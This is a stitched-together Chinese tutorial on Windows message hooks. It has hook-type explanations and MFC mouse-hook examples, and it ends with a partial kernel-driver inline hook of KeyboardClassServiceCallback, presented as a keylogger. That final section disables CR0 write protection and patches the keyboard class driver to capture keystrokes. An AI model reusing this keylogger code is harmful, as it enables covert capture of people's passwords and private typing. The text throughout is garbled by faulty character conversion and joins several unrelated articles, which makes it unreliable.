消息鉤子函數入門
Windows 系統是創建在事件驅動的機制上的,說穿了就是整個系統都是經過消息的傳遞來實
現的。而鉤子是 Windows 系統中很是重要的系統接口,用它能夠截獲並處理送給其餘應用
程序的消息,來完成普通應用程序難以實現的功能。鉤子能夠監視系統或進程中的各類事件
消息,截獲發往目標窗口的消息並進行處理。這樣,咱們就能夠在系統中安裝自定義的鉤子,
監視系統中特定事件的發生,完成特定的功能,好比截獲鍵盤、鼠標的輸入,屏幕取詞,日
志監視等等。可見,利用鉤子能夠實現許多特殊而有用的功能。所以,對於高級編程人員來
說,掌握鉤子的編程方法是頗有必要的。
鉤子的類型
一. 按事件分類,有以下的幾種經常使用類型
(1) 鍵盤鉤子和低級鍵盤鉤子能夠監視各類鍵盤消息。
(2) 鼠標鉤子和低級鼠標鉤子能夠監視各類鼠標消息。
(3) 外殼鉤子能夠監視各類 Shell 事件消息。好比啓動和關閉應用程序。
(4) 日誌鉤子能夠記錄從系統消息隊列中取出的各類事件消息。
(5) 窗口過程鉤子監視全部從系統消息隊列發往目標窗口的消息。
此外,還有一些特定事件的鉤子提供給咱們使用,不一一列舉。
下面描述經常使用的 Hook 類型:
一、WH_CALLWNDPROC 和 WH_CALLWNDPROCRET Hooks
WH_CALLWNDPROC 和 WH_CALLWNDPROCRET Hooks 使你能夠監視發送到窗口過程的消息。
系統在消息發送到接收窗口過程以前調用 WH_CALLWNDPROC Hook 子程,而且在窗口過程
處理完消息以後調用 WH_CALLWNDPRO
CRET Hook 子程。WH_CALLWNDPROCRET Hook 傳遞指針到 CWPRETSTRUCT 結構,再傳遞到
Hook 子程。CWPRETSTRUCT 結構包含了來自處理消息的窗口過程的返回值,一樣也包括了
與這個消息關聯的消息參數。
二、WH_CBT Hook
在如下事件以前,系統都會調用 WH_CBT Hook 子程,這些事件包括:
1. 激活,創建,銷燬,最小化,最大化,移動,改變尺寸等窗口事件;
2. 完成系統指令;
3. 來自系統消息隊列中的移動鼠標,鍵盤事件;
4. 設置輸入焦點事件;
5. 同步系統消息隊列事件。
Hook 子程的返回值肯定系統是否容許或者防止這些操做中的一個。
三、WH_DEBUG Hook
在系統調用系統中與其餘 Hook 關聯的 Hook 子程以前,系統會調用 WH_DEBUG Hook 子程。
你能夠使用這個 Hook 來決定是否容許系統調用與其餘 Hook 關聯的 Hook 子程。
四、WH_FOREGROUNDIDLE Hook
當應用程序的前臺線程處於空閒狀態時,能夠使用 WH_FOREGROUNDIDLE Hook 執行低優先
級的任務。當應用程序的前臺線程大概要變成空閒狀態時,系統就會調用 WH_FOREGROUN
DIDLE Hook 子程。
五、WH_GETMESSAGE Hook
應用程序使用 WH_GETMESSAGE Hook 來監視從 GetMessage or PeekMessage 函數返回的消
息。你能夠使用 WH_GETMESSAGE Hook 去監視鼠標和鍵盤輸入,以及其餘發送到消息隊列
中的消息。
六、WH_JOURNALPLAYBACK Hook
WH_JOURNALPLAYBACK Hook 使應用程序能夠插入消息到系統消息隊列。能夠使用這個 Hoo
k 回放經過使用 WH_JOURNALRECORD Hook 記錄下來的連續的鼠標和鍵盤事件。只要 WH_J
OURNALPLAYBACK Hook 已經安裝,正常的鼠標和鍵盤事件就是無效的。WH_JOURNALPLAYB
ACK Hook 是全局 Hook,它不能象線程特定 Hook 同樣使用。WH_JOURNALPLAYBACK Hook
返回超時值,這個值告訴系統在處理來自回放 Hook 當前消息以前須要等待多長時間(毫秒)。
這就使 Hook 能夠控制實時事件的回放。WH_JOURNALPLAYBACK 是 system-wide local hooks,
它們不會被注射到任何行程位址空間。(估計按鍵精靈是用這個 hook 作的)
七、WH_JOURNALRECORD Hook
WH_JOURNALRECORD Hook 用來監視和記錄輸入事件。典型的,能夠使用這個 Hook 記錄連
續的鼠標和鍵盤事件,而後經過使用 WH_JOURNALPLAYBACK Hook 來回放。WH_JOURNALR
ECORD Hook 是全局 Hook,它不能象線程特定 Hook 同樣使用。WH_JOURNALRECORD 是 sys
tem-wide local hooks,它們不會被注射到任何行程位址空間。
八、WH_KEYBOARD Hook
在應用程序中,WH_KEYBOARD Hook 用來監視 WM_KEYDOWN and WM_KEYUP 消息,這些
消息經過 GetMessage or PeekMessage function 返回。能夠使用這個 Hook 來監視輸入到消
息隊列中的鍵盤消息。
九、WH_KEYBOARD_LL Hook
WH_KEYBOARD_LL Hook 監視輸入到線程消息隊列中的鍵盤消息。
十、WH_MOUSE Hook
WH_MOUSE Hook 監視從 GetMessage 或者 PeekMessage 函數返回的鼠標消息。使用這個 H
ook 監視輸入到消息隊列中的鼠標消息。
十一、WH_MOUSE_LL Hook
WH_MOUSE_LL Hook 監視輸入到線程消息隊列中的鼠標消息。
十二、WH_MSGFILTER 和 WH_SYSMSGFILTER Hooks
WH_MSGFILTER 和 WH_SYSMSGFILTER Hooks 使咱們能夠監視菜單,滾動條,消息框,對話
框消息而且發現用戶使用 ALT+TAB or ALT+ESC 組合鍵切換窗口。WH_MSGFILTER Hook 只能
監視傳遞到菜單,滾動條,消息框的消息,以及傳遞到經過安裝了 Hook 子程的應用程序建
立的對話框的消息。WH_SYSMSGFILTER Hook 監視全部應用程序消息。WH_MSGFILTER 和
WH_SYSMSGFILTER Hooks 使咱們能夠在模式循環期間過濾消息,這等價於在主消息循環中
過濾消息。經過調用 CallMsgFilter function 能夠直接的調用 WH_MSGFILTER Hook。經過使
用這個函數,應用程序可以在模式循環期間使用相同的代碼去過濾消息,如同在主消息循環
裏同樣。
1三、WH_SHELL Hook
外殼應用程序能夠使用 WH_SHELL Hook 去接收重要的通知。當外殼應用程序是激活的而且
當頂層窗口創建或者銷燬時,系統調用 WH_SHELL Hook 子程。
WH_SHELL 共有5鍾情況:
1. 只要有個 top-level、unowned 窗口被產生、起做用、或是被摧毀;
2. 當 Taskbar 須要重畫某個按鈕;
3. 當系統須要顯示關於 Taskbar 的一個程序的最小化形式;
4. 當目前的鍵盤佈局狀態改變;
5. 當使用者按 Ctrl+Esc 去執行 Task Manager(或相同級別的程序)。
按照慣例,外殼應用程序都不接收 WH_SHELL 消息。因此,在應用程序可以接收 WH_SHELL
消息以前,應用程序必須調用 SystemParametersInfo function 註冊它本身。
以上是 13 種經常使用的 hook 類型!
二. 按使用範圍分類,主要有線程鉤子和系統鉤子
(1) 線程鉤子監視指定線程的事件消息。
(2) 系統鉤子監視系統中的全部線程的事件消息。由於系統鉤子會影響系統中全部
的應用程序,因此鉤子函數必須放在獨立的動態連接庫(DLL)
中。這是系統鉤子和線程鉤子很大的不一樣之處。
幾點須要說明的地方:
(1) 若是對於同一事件(如鼠標消息)既安裝了線程鉤子又安裝了系統鉤子,那麼
系統會自動先調用線程鉤子,而後調用系統鉤子。
(2) 對同一事件消息可安裝多個鉤子處理過程,這些鉤子處理過程造成了鉤子鏈。
當前鉤子處理結束後應把鉤子信息傳遞給下一個鉤子函數。並且最近安裝的鉤子放在鏈的開
始,而最先安裝的鉤子放在最後,也就是後加入的先得到控制權。
(3) 鉤子特別是系統鉤子會消耗消息處理時間,下降系統性能。只有在必要的時候
才安裝鉤子,在使用完畢後要及時卸載。
編寫鉤子程序
編寫鉤子程序的步驟分爲三步:定義鉤子函數、安裝鉤子和卸載鉤子。
1.定義鉤子函數
鉤子函數是一種特殊的回調函數。鉤子監視的特定事件發生後,系統會調用鉤子函數
進行處理。不一樣事件的鉤子函數的形式是各不相同的。下面以鼠標鉤子函數舉例說明鉤子函
數的原型:
LRESULT CALLBACK HookProc(int nCode ,WPARAM wParam,LPARAM lParam)
參數 wParam 和 lParam 包含所鉤消息的信息,好比鼠標位置、狀態,鍵盤按鍵等。nCode
包含有關消息自己的信息,好比是否從消息隊列中移出。
咱們先在鉤子函數中實現自定義的功能,而後調用函數 CallNextHookEx.把鉤子信息傳遞給
鉤子鏈的下一個鉤子函數。CallNextHookEx.的原型以下:
LRESULT CallNextHookEx( HHOOK hhk, int nCode, WPARAM wParam, LPARAM lParam )
參數 hhk 是鉤子句柄。nCode、wParam 和 lParam 是鉤子函數。
固然也能夠經過直接返回 TRUE 來丟棄該消息,就阻止了該消息的傳遞。
2.安裝鉤子
在程序初始化的時候,調用函數 SetWindowsHookEx 安裝鉤子。其函數原型爲:
HHOOK SetWindowsHookEx( int idHook,HOOKPROC lpfn, INSTANCE hMod,DWORD dwThrea
dId )
參數 idHook 表示鉤子類型,它是和鉤子函數類型一一對應的。好比,WH_KEYBOARD 表示
安裝的是鍵盤鉤子,WH_MOUSE 表示是鼠標鉤子等等。
Lpfn 是鉤子函數的地址。
HMod 是鉤子函數所在的實例的句柄。對於線程鉤子,該參數爲 NULL;對於系統鉤子,
該參數爲鉤子函數所在的 DLL 句柄。
dwThreadId 指定鉤子所監視的線程的線程號。對於全局鉤子,該參數爲 NULL。
SetWindowsHookEx 返回所安裝的鉤子句柄。
3.卸載鉤子
當再也不使用鉤子時,必須及時卸載。簡單地調用函數 BOOL UnhookWindowsHookEx(
HHOOK hhk)便可。
值得注意的是線程鉤子和系統鉤子的鉤子函數的位置有很大的差異。線程鉤子通常在當前線
程或者當前線程派生的線程內,而系統鉤子必須放在獨立的動態連接庫中,實現起來要麻煩
一些。
線程鉤子的編程實例:
按照上面介紹的方法實現一個線程級的鼠標鉤子。鉤子跟蹤當前窗口鼠標移動的位置
變化信息。並輸出到窗口。
(1)在 VC++6.0 中利用 MFC
APPWizard(EXE)生成一個不使用文檔/視結構的單文檔應用 mousehook。打開 childview.cp
p 文件,加入全局變量:
HHOOK hHook;//鼠標鉤子句柄
CPoint point;//鼠標位置信息
CChildView *pView;
// 鼠標鉤子函數用到的輸出窗口指針
在 CChildView::OnPaint()添加以下代碼:
CPaintDC dc(this);
char str[256];
sprintf(str,「x=%d,y=%d",point.x,point.y);
//構造字符串
dc.TextOut(0,0,str); //顯示字符串
(2)childview.cpp 文件中定義全局的鼠標鉤子函數。
LRESULT CALLBACK MouseProc
(int nCode, WPARAM wParam, LPARAM lParam)
{//是鼠標移動消息
if(wParam==WM_MOUSEMOVE||wParam
==WM_NCMOUSEMOVE)
{
point=((MOUSEHOOKSTRUCT *)lParam)->pt;
//取鼠標信息
pView->Invalidate(); //窗口重畫
}
return CallNextHookEx(hHook,nCode,wParam,lParam);
//傳遞鉤子信息
}
(3)CChildView 類的構造函數中安裝鉤子。
CChildView::CChildView()
{
pView=this;//得到輸出窗口指針
hHook=SetWindowsHookEx(WH_MOUSE,MouseProc,0,GetCurrentThreadId());
}
(4)CChildView 類的析構函數中卸載鉤子。
CChildView::~CChildView()
{
if(hHook)
UnhookWindowsHookEx(hHook);
}
系統鉤子的編程實例:
因爲系統鉤子要用到 dll,因此先介紹下 win32 dll 的特色:
Win32 DLL 與 Win16 DLL 有很大的區別,這主要是由操做系統的設計思想決定的。一方面,
在 Win16 DLL 中程序入口點函數和出口點函數(LibMain 和 WEP)是分別實現的;而在 Win3
2 DLL 中卻由同一函數 DLLMain 來實現。不管什麼時候,當一個進程或線程載入和卸載 DLL 時,
都要調用該函數,它的原型是 BOOL WINAPI DllMain
(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved);,其中,第一個參數表示 DL
L 的實例句柄;第三個參數系統保留;這裏主要介紹一下第二個參數,它有四個可能的值:DLL
_PROCESS_ATTACH(進程載入),DLL_THREAD_ATTACH(線程載入),DLL_THREAD_DETACH(線
程卸載),DLL_PROCESS_DETACH(進程卸載),在 DLLMain 函數中能夠對傳遞進來的這個參
數的值進行判別,並根據不一樣的參數值對 DLL 進行必要的初始化或清理工做。舉個例子來講,
當有一個進程載入一個 DLL 時,系統分派給 DLL 的第二個參數爲 DLL_PROCESS_ATTACH,這
時,你能夠根據這個參數初始化特定的數據。另外一方面,在 Win16 環境下,全部應用程序
都在同一地址空間;而在 Win32 環境下,全部應用程序都有本身的私有空間,每一個進程的空
間都是相互獨立的,這減小了應用程序間的相互影響,但同時也增長了編程的難度。你們知
道,在 Win16 環境中,DLL 的全局數據對每一個載入它的進程來講都是相同的;而在 Win32 環
境中,狀況卻發生了變化,當進程在載入 DLL 時,系統自動把 DLL 地址映射到該進程的私有
空間,並且也複製該 DLL 的全局數據的一份拷貝到該進程空間,也就是說每一個進程所擁有的
相同的 DLL 的全局數據其值卻並不必定是相同的。所以,在 Win32 環境下要想在多個進程
中共享數據,就必須進行必要的設置。亦即把這些須要共享的數據分離出來,放置在一個獨
立的數據段裏,並把該段的屬性設置爲共享。
在 VC6 中有三種形式的 MFC DLL(在該 DLL 中能夠使用和繼承已有的 MFC 類)可供選擇,即
Regular statically linked to MFC DLL(標準靜態連接 MFC DLL)和 Regular using the share
d MFC DLL(標準動態連接 MFC DLL)以及 Extension MFC DLL(擴展 MFC DLL)。第一種 D
LL 的特色是,在編譯時把使用的 MFC 代碼加入到 DLL 中,所以,在使用該程序時不須要其
他 MFC 動態連接類庫的存在,但佔用磁盤空間比較大;第二種 DLL 的特色是,在運行時,動
態連接到 MFC 類庫,所以減小了空間的佔用,可是在運行時卻依賴於 MFC 動態連接類庫;
這兩種 DLL 既能夠被 MFC 程序使用也能夠被 Win32 程序使用。第三種 DLL 的特色相似於第
二種,作爲 MFC 類庫的擴展,只能被 MFC 程序使用。
下面說說在 VC6 中全局共享數據的實現
在主文件中,用#pragma data_seg 創建一個新的數據段並定義共享數據,其具體格式
爲:
#pragma data_seg ("shareddata")
HWND sharedwnd=NULL;//共享數據
#pragma data_seg()
僅定義一個數據段還不能達到共享數據的目的,還要告訴編譯器該段的屬性,有兩種
方法能夠實現該目的(其效果是相同的),一種方法是在.DEF 文件中加入以下語句:
SETCTIONS shareddata READ WRITE SHARED
另外一種方法是在項目設置連接選項中加入以下語句:
/SECTION:shareddata,rws
好了,準備知識已經學完了,讓咱們開始編寫個全局的鉤子程序吧!
因爲全局鉤子函數必須包含在動態連接庫中,因此本例由兩個程序體來實現。
1.創建鉤子 Mousehook.DLL
(1)選擇 MFC AppWizard(DLL)建立項目 Mousehook;
(2)選擇 MFC Extension DLL(共享 MFC 拷貝)類型;
(3)因爲 VC5 沒有現成的鉤子類,因此要在項目目錄中建立 Mousehook.h 文件,在其中
創建鉤子類:
class AFX_EXT_CLASS Cmousehook:public CObject
{
public:
Cmousehook();
//鉤子類的構造函數
~Cmousehook();
//鉤子類的析構函數
BOOL starthook(HWND hWnd);
//安裝鉤子函數
BOOL stophook();
卸載鉤子函數
};
(4)在 Mousehook.app 文件的頂部加入#include"Mousehook.h"語句;
(5)加入全局共享數據變量:
#pragma data_seg("mydata")
HWND glhPrevTarWnd=NULL;
//上次鼠標所指的窗口句柄
HWND glhDisplayWnd=NULL;
//顯示目標窗口標題編輯框的句柄
HHOOK glhHook=NULL;
//安裝的鼠標鉤子句柄
HINSTANCE glhInstance=NULL;
//DLL 實例句柄
#pragma data_seg()
(6)在 DEF 文件中定義段屬性:
SECTIONS
mydata READ WRITE SHARED
(7)在主文件 Mousehook.cpp 的 DllMain 函數中加入保存 DLL 實例句柄的語句:
DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved)
{
//若是使用 lpReserved 參數則刪除下面這行
UNREFERENCED_PARAMETER(lpReserved);
if (dwReason == DLL_PROCESS_ATTACH)
{
TRACE0("MOUSEHOOK.DLL Initializing!\n");
//擴展 DLL 僅初始化一次
if (!AfxInitExtensionModule(MousehookDLL, hInstance))
return 0;
new CDynLinkLibrary(MousehookDLL);
//把 DLL 加入動態 MFC 類庫中
glhInstance=hInstance;
//插入保存 DLL 實例句柄
}
else if (dwReason == DLL_PROCESS_DETACH)
{
TRACE0("MOUSEHOOK.DLL Terminating!\n");
//終止這個連接庫前調用它
AfxTermExtensionModule(MousehookDLL);
}
return 1;
}
(8)類 Cmousehook 的成員函數的具體實現:
Cmousehook::Cmousehook()
//類構造函數
{
}
Cmousehook::~Cmousehook()
//類析構函數
{
stophook();
}
BOOL Cmousehook::starthook(HWND hWnd)
//安裝鉤子並設定接收顯示窗口句柄
{
BOOL bResult=FALSE;
glhHook=SetWindowsHookEx(WH_MOUSE,MouseProc,glhInstance,0);
if(glhHook!=NULL)
bResult=TRUE;
glhDisplayWnd=hWnd;
//設置顯示目標窗口標題編輯框的句柄
return bResult;
}
BOOL Cmousehook::stophook()
//卸載鉤子
{
BOOL bResult=FALSE;
if(glhHook)
{
bResult= UnhookWindowsHookEx(glhHook);
if(bResult)
{
glhPrevTarWnd=NULL;
glhDisplayWnd=NULL;//清變量
glhHook=NULL;
}
}
return bResult;
}
(9)鉤子函數的實現:
LRESULT WINAPI MouseProc(int nCode,WPARAM wparam,LPARAM lparam)
{
LPMOUSEHOOKSTRUCT pMouseHook=(MOUSEHOOKSTRUCT FAR *) lparam;
if (nCode>=0)
{
HWND glhTargetWnd=pMouseHook->hwnd;
//取目標窗口句柄
HWND ParentWnd=glhTargetWnd;
while (ParentWnd !=NULL)
{
glhTargetWnd=ParentWnd;
ParentWnd=GetParent(glhTargetWnd);
//取應用程序主窗口句柄
}
if(glhTargetWnd!=glhPrevTarWnd)
{
char szCaption[100];
GetWindowText(glhTargetWnd,szCaption,100);
//取目標窗口標題
if(IsWindow(glhDisplayWnd))
SendMessage(glhDisplayWnd,WM_SETTEXT,0,(LPARAM)(LPCTSTR)szCaption);
glhPrevTarWnd=glhTargetWnd;
//保存目標窗口
}
}
return CallNextHookEx(glhHook,nCode,wparam,lparam);
//繼續傳遞消息
}
(10)編譯項目生成 mousehook.dll。
2.建立鉤子可執行程序
(1)用 MFC 的 AppWizard(EXE)建立項目 Mouse;
(2)選擇「基於對話應用」並按下「完成」鍵;
(3)編輯對話框,刪除其中原有的兩個按鈕,加入靜態文本框和編輯框,用鼠標右鍵點
擊靜態文本框,在彈出的菜單中選擇「屬性」,設置其標題爲「鼠標所在的窗口標題」;
(4)在 Mouse.h 中加入對 Mousehook.h 的包含語句#Include"..\Mousehook\Mousehook.h
";
(5)在 CMouseDlg.h 的 CMouseDlg 類定義中添加私有數據成員:
CMouseHook m_hook;//加入鉤子類做爲數據成員
(6)修改 CmouseDlg::OnInitDialog()函數:
BOOL CMouseDlg::OnInitDialog()
{
CDialog::OnInitDialog();
ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX);
ASSERT(IDM_ABOUTBOX <0xF000);
CMenu* pSysMenu = GetSystemMenu(FALSE);
if (pSysMenu != NULL)
{
CString strAboutMenu;
strAboutMenu.LoadString(IDS_ABOUTBOX);
if (!strAboutMenu.IsEmpty())
{
pSysMenu->AppendMenu(MF_SEPARATOR);
pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu);
}
}
SetIcon(m_hIcon, TRUE);//Set big icon
SetIcon(m_hIcon, FALSE);//Set small icon
//TODO: Add extra initialization here
CWnd * pwnd=GetDlgItem(IDC_EDIT1);
//取得編輯框的類指針
m_hook.starthook(pwnd->GetSafeHwnd());
//取得編輯框的窗口句柄並安裝鉤子
return TRUE;
//return TRUE unless you set the focus to a control
}
(7)連接 DLL 庫,即把..\Mousehook\debug\Mousehook.lib 加入到項目設置連接標籤中;
(8)編譯項目生成可執行文件;
(9)把 Mousehook.DLL 拷貝到..\mouse\debug 目錄中;
(10)先運行幾個可執行程序,而後運行 Mouse.exe 程序,把鼠標在不一樣窗口中移動,
在 Mouse.exe 程序窗口中的編輯框內將顯示出鼠標所在的應用程序主窗口的標題
vc 中 SetwindowsHookEx 的 hook 介紹
上一篇 / 下一篇 2008-04-15 11:10:57 / 我的分類:c++
查看( 289 ) / 評論( 0 ) / 評分( 0 / 0 )
WINDOWS VC 編程之 HOOK 技術
hook 是 WINDOWS 提供的一種消息處理機制,它使得程序員能夠使用子過程來監視系統消息,並在消息
到達目標過程前獲得處理。
下面將介紹 WINNDOWS HOOKS 而且說明如何在 WINDOWS 程序中使用它。
關於 HOOKS
使用 HOOK 將會下降系統效率,由於它增長了系統處量消息的工做量。建議在必要時才使用 HOOK,並
在消息處理完成後當即移去該 HOOK。
HOOK 鏈
WINDOWS 提供了幾種不一樣類型的 HOOKS;不一樣的 HOOK 能夠處理不一樣的消息。例如,WH_MOUSE
HOOK 用來監視鼠標消息。
WINDOWS 爲這幾種 HOOKS 維護着各自的 HOOK 鏈。HOOK 鏈是一個由應用程序定義的回調函數隊列,
當某種類型的消息發生時,WINDOWS 向此種類型的 HOOK 鏈的第一個函數發送該消息,在第一函數處
理完該消息後由該函數向鏈表中的下一個函數傳遞消息,依次向下。若是鏈中某個函數沒有向下傳送該消
息,那麼鏈表中後面的函數將得不到此消息。(對於某些類型的 HOOK,無論 HOOK 鏈中的函數是否向下
傳遞消息,與此類型 HOOK 聯繫的全部 HOOK 函數都會收到系統發送的消息)
HOOK 過程
爲了攔截特定的消息,你能夠使用 SetWindowsHookEx 函數在該類型的 HOOK 鏈中安裝你本身的 HOOK
函數。該函數語法以下:
public function MyHook(nCode,wParam,iParam) as long
„加入代碼
end function
其中 MyHook 能夠隨便命名,其它不能變。該函數必須放在模塊段。nCode 指定 HOOK 類型。wParam,i
Param 的取值隨 nCode 不一樣而不一樣,它表明了某種類型的 HOOK 的某個特定的動做。
SetWindowsHookEx 老是將你的 HOOK 函數放置在 HOOK 鏈的頂端。你能夠使用 CallNextHookEx 函數
將系統消息傳遞給 HOOK 鏈中的下一個函數。
[註釋]對於某些類型的 HOOK,系統將向該類的全部 HOOK 函數發送消息,這時,HOOK 函數中的 CallN
extHookEx 語句將被忽略。
全局 HOOK 函數能夠攔截系統中全部線程的某個特定的消息(此時該 HOOK 函數必須放置在 DLL 中),
局部 HOOK 函數能夠攔截指定線程的某特定消息(此時該 HOOK 函數能夠放置在 DLL 中,也能夠放置在
應用程序的模塊段)。
[註釋] 建議只在調試時使用全局 HOOK 函數。全局 HOOK 函數將下降系統效率,而且會同其它使用該類
HOOK 的應用程序產生衝突。
HOOK 類型
WH_CALLWNDPROC 和 WH_CALLWNDPROCRET HOOK
WH_C ALLWNDPROC 和 WH_CALLWNDPROCRET HOOK 能夠監視 SendMessage 發送的消息。系
統在向窗體過程發送消息前,將調用 WH_CALLWNDPROC;在窗體過程處理完該消息後系統將調用 WH
_CALLWNDPROCRET。
WH_CALLWNDPROCRET HOOK 會向 HOOK 過程傳送一個 CWPRETSTRUCT 結構的地址。該結構包
含了窗體過程處理系統消息後的一些信息。
WH_CBT Hook
系統在激活,建立,消毀,最小化,最大化,移動,改變窗體前;在完成一條系統命令前;在從系統消息
隊列中移去鼠標或鍵盤事件前;在設置輸入焦點前,或同步系統消息隊列前,將調用 WH_CBT HOOK。
你能夠在你的 HOOK 過程攔截該類 HOOK,並返回一個值,告訴系統,是否繼續執行上面的操做。
WH_DEBUG HOOK
系統在調用與某種 HOOK 類型聯繫的 HOOK 過程前,將調用 WH_DEBUG ,應用程序能夠使用該 HOO
K 決定是否讓系統執行某種類型的 HOOK。
WH_FOREGROUNDIDLE Hook
系統在空閒時調用該 HOOK,在後臺執行優先權較低的應用程序。
WH_GETMESSAGE Hook
WH_GETMESSAGE Hook 使應用程序能夠攔截 GetMessage 或 PeekMessage 的消息。應用程序使用
WH_GETMESSAGE HOOK 監視鼠標、鍵盤輸入和發送到隊列中的其它消息。
WH_JOURNALRECORD Hook
WH_JOURNALRECORD Hook 使應用程序能夠監視輸入事件。典型地,應用程序使用該 HOOK 記錄鼠
標、鍵盤輸入事件以供之後回放。該 HOOK 是全局 HOOK,而且不能在指定線程中使用。
WH_JOURNALPLAYBACK Hook
` WH_JOURNALPLAYBACK Hook 使應用程序能夠向系統消息隊列中插入消息。該 HOOK 能夠回放之前
由 WH_JOURNALRECORD HOOK 錄製的鼠標、鍵盤輸入事件。在 WH_JOURNALPLAYBACK Hook
安裝到系統時,鼠標、鍵盤輸入事件將被屏蔽。該 HOOK 一樣是一個全局 HOOK,不能在指定線程中使用。
WH_JOURNALPLAYBACK Hook 返回一個時間暫停值,它告訴系統,在處理當前回放的消息時,系統等
待百分之幾秒。這使得此 HOOK 能夠控制在回放時的時間事件。
WH_KEYBOARD Hook
WH_KEYBOARD Hook 使應用程序能夠監視由 GetMessage 和 PeekMessage 返回的 WM_KEYDOWN
及 WM_KEYUP 消息。應用程序使用該 HOOK 監視發送到消息隊列中的鍵盤輸入。
WH_MOUSE Hook
WH_MOUSE Hook 使應用程序能夠監視由 GetMessage 和 PeekMessage 返回的消息。應用程序使用該
HOOK 監視發送到消息隊列中的鼠標輸入。
WH_MSGFILTER and WH_SYSMSGFILTER Hooks
WH_MSGFILTER 和 WH_SYSMSGFILTER Hooks 使應用程序能夠監視菜單、滾動條、消息框、對話框,
當用戶使用 ALT+TAB 或 ALT+ESC 來切換窗體時,該 HOOK 也能夠攔截到消息。WH_MSGFILTER 僅在
應用程序內部監視菜單、滾動條、消息框、對話框,而 WH_SYSMSGFILTER 則能夠在系統內監視全部應
用程序的這些事件。
WH_SHELL Hook
一個 SHELL 程序能夠使用 WH_SHELL Hook 來接收重要的信息。當一個 SHELL 程序被激活前或當前窗
體被建立、消毀時,系統會調用 WH_SHELL Hook 過程。
vc++實現 Inline hook KeyboardClassServiceCallback 實現鍵盤記錄
/*
*/
#ifndef _DBGHELP_H
#define _DBGHELP_H 1
#include <ntddk.h>
#define dprintf if (DBG) DbgPrint
#define nprintf DbgPrint
#define kmalloc(_s) ExAllocatePoolWithTag(NonPagedPool, _s, 'SYSQ')
//#define kfree(_p) ExFreePoolWithTag(_p, 'SYSQ')
#define kfree(_p) ExFreePool(_p)
#endif
#include <ntddk.h>
//#include <ntifs.h>
#include <windef.h>
#include "HookKey.h"
#include "struct.h"
#include <ntddkbd.h>
#define MAXBUF 0x15//存儲鍵盤掃描碼的緩衝區,其中第一字節爲當前存儲位置,
ULONG g_OldFunction;
ULONG g_uCr0;
BYTE g_HookCode[5] = { 0xe9, 0, 0, 0, 0 };
BYTE g_OrigCode[5] = { 0 }; // 原函數的前字節內容
BYTE jmp_orig_code[7] = { 0xEA, 0, 0, 0, 0, 0x08, 0x00 }; //由於是長轉移,因此有
個 0x08
PDEVICE_OBJECT pDevObj;
BOOL g_bHooked = FALSE;
int KeyCode=0;
PVOID hPageDataSection;
PVOID KeyBuf;
PDEVICE_OBJECT g_kbDeviceObject = NULL;
ULONG g_kbdclass_base ;
ULONG g_lpKbdServiceCallback ;
VOID ReadKeyBuf();
VOID ChangeFake_Function();
VOID
fake_OldFunction (
PDEVICE_OBJECT DeviceObject,
PKEYBOARD_INPUT_DATA InputDataStart,
PKEYBOARD_INPUT_DATA InputDataEnd,
PULONG InputDataConsumed
);
#ifdef ALLOC_PRAGMA
#pragma alloc_text(NONPAGED, fake_OldFunction)
#endif
/*
HookKey.H
Author: <your name>
Last Updated: 2006-02-12
This framework is generated by EasySYS 0.3.0
This template file is copying from QuickSYS 0.3.0 written by Chunhua Liu
*/
#ifndef _HOOKKEY_H
#define _HOOKKEY_H 1
//
// Define the various device type values. Note that values used by Microsoft
// Corporation are in the range 0-0x7FFF(32767), and
0x8000(32768)-0xFFFF(65535)
// are reserved for use by customers.
//
#define FILE_DEVICE_HOOKKEY 0x8000
//
// Macro definition for defining IOCTL and FSCTL function control codes. Note
// that function codes 0-0x7FF(2047) are reserved for Microsoft Corporation,
// and 0x800(2048)-0xFFF(4095) are reserved for customers.
//
#define HOOKKEY_IOCTL_BASE 0x800
//
// The device driver IOCTLs
//
#define CTL_CODE_HOOKKEY(i) CTL_CODE(FILE_DEVICE_HOOKKEY,
HOOKKEY_IOCTL_BASE+i, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_HOOKKEY_HELLO CTL_CODE_HOOKKEY(0)
#define IOCTL_HOOKKEY_TEST CTL_CODE_HOOKKEY(1)
//
// Name that Win32 front end will use to open the HookKey device
//
#define HOOKKEY_WIN32_DEVICE_NAME_A "\\\\.\\HookKey"
#define HOOKKEY_WIN32_DEVICE_NAME_W L"\\\\.\\HookKey"
#define HOOKKEY_DEVICE_NAME_A "\\Device\\HookKey"
#define HOOKKEY_DEVICE_NAME_W L"\\Device\\HookKey"
#define HOOKKEY_DOS_DEVICE_NAME_A "\\DosDevices\\HookKey"
#define HOOKKEY_DOS_DEVICE_NAME_W L"\\DosDevices\\HookKey"
#ifdef _UNICODE
#define HOOKKEY_WIN32_DEVICE_NAME HOOKKEY_WIN32_DEVICE_NAME_W
#define HOOKKEY_DEVICE_NAME HOOKKEY_DEVICE_NAME_W
#define HOOKKEY_DOS_DEVICE_NAME HOOKKEY_DOS_DEVICE_NAME_W
#else
#define HOOKKEY_WIN32_DEVICE_NAME HOOKKEY_WIN32_DEVICE_NAME_A
#define HOOKKEY_DEVICE_NAME HOOKKEY_DEVICE_NAME_A
#define HOOKKEY_DOS_DEVICE_NAME HOOKKEY_DOS_DEVICE_NAME_A
#endif
#endif
VOID
Proxy_OldFunction (
PDEVICE_OBJECT DeviceObject,
PKEYBOARD_INPUT_DATA InputDataStart,
PKEYBOARD_INPUT_DATA InputDataEnd,
PULONG InputDataConsumed
);
typedef VOID
(*My_KeyboardClassServiceCallback) (
PDEVICE_OBJECT DeviceObject,
PKEYBOARD_INPUT_DATA InputDataStart,
PKEYBOARD_INPUT_DATA InputDataEnd,
PULONG InputDataConsumed
);
My_KeyboardClassServiceCallback orig_KeyboardClassServiceCallback = NULL;
void WPOFF()
{
ULONG uAttr;
_asm
{
push eax;
mov eax, cr0;
mov uAttr, eax;
and eax, 0FFFEFFFFh; // CR0 16 BIT = 0
mov cr0, eax;
pop eax;
cli
};
g_uCr0 = uAttr; //保存原有的 CRO 屬性
}
VOID WPON()
{
_asm
{
sti
push eax;
mov eax, g_uCr0; //恢復原有 CR0 屬性
mov cr0, eax;
pop eax;
};
}
//
// 中止 inline hook
//
VOID UnHookOldFunction ()
{
KIRQL oldIrql;
WPOFF();
oldIrql = KeRaiseIrqlToDpcLevel();
